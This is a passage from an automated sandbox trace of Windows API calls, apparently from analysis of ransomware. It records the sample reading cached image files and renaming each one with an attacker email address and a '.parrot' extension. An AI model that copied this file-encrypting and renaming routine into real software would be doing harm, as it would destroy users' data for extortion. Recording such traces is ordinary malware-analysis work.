lpNewFilePointer=0x0) returned 1 [0081.407] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2143, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2143, lpOverlapped=0x0) returned 1 [0081.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.408] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.409] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbblccz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbblccz[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.412] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.412] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.413] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.413] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x912, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x912, lpOverlapped=0x0) returned 1 [0081.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.413] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.414] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbldzq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbldzq[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.417] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.417] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.419] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.419] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6e8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x6e8, lpOverlapped=0x0) returned 1 [0081.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.419] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.420] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1mq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1mq[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.422] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.422] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.424] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.424] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x36d2, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x36d2, lpOverlapped=0x0) returned 1 [0081.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.425] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.426] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1qb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1qb[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.428] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.428] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.430] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.430] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x75e, lpOverlapped=0x0) returned 1 [0081.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.430] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.430] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbboiat[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbboiat[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.433] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.433] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.435] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.435] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6dc, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x6dc, lpOverlapped=0x0) returned 1 [0081.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.435] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.435] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbomuh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOmuh[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbomuh[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.438] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.438] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.440] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.440] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9be, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x9be, lpOverlapped=0x0) returned 1 [0081.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.440] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.440] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.441] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpk5j[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpk5j[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.527] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.528] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.530] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.530] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1694, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1694, lpOverlapped=0x0) returned 1 [0081.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.534] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.534] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpmvj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpmvj[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.538] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.538] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.539] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.539] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x85d, lpOverlapped=0x0) returned 1 [0081.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.540] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.540] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbul3e[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUL3E[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbul3e[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.543] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.543] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.545] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.545] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x878, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x878, lpOverlapped=0x0) returned 1 [0081.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.545] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.545] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.548] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.548] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.549] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.550] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x878, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x878, lpOverlapped=0x0) returned 1 [0081.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.550] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.550] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[2].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.553] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.553] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.555] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.555] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x77f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x77f, lpOverlapped=0x0) returned 1 [0081.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.555] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.555] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbx3z0[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBX3z0[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbx3z0[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.561] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.561] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.562] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.563] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x22b3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x22b3, lpOverlapped=0x0) returned 1 [0081.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.564] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.564] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyew1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 